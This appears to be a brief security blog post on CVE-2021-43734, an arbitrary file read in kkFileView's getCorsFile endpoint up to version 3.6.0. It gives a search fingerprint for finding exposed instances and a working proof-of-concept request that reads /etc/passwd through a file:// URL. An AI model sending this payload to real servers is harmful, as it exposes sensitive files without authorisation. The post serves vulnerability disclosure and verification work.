Post

Kkfileview Getcorsfile Arbitrary File Reading Vulnerability Cve 2021 43734

Kkfileview Getcorsfile Arbitrary File Reading Vulnerability Cve 2021 43734

kkFileView getCorsFile arbitrary file reading vulnerability CVE-2021-43734

Vulnerability Description

There is a vulnerability to read any file in the kkFileView getCorsFile version 3.6.0. The attacker can obtain any file in the server and obtain sensitive information from the server through the vulnerability.

Vulnerability Impact

kkFileView getCorsFile <= 3.6.0

Network surveying and mapping

body=”kkFileView”

Vulnerability reappears

Main page

img

Verify POC

1
/getCorsFile?urlPath=file:///etc/passwd 

img

This post is licensed under CC BY 4.0 by the author.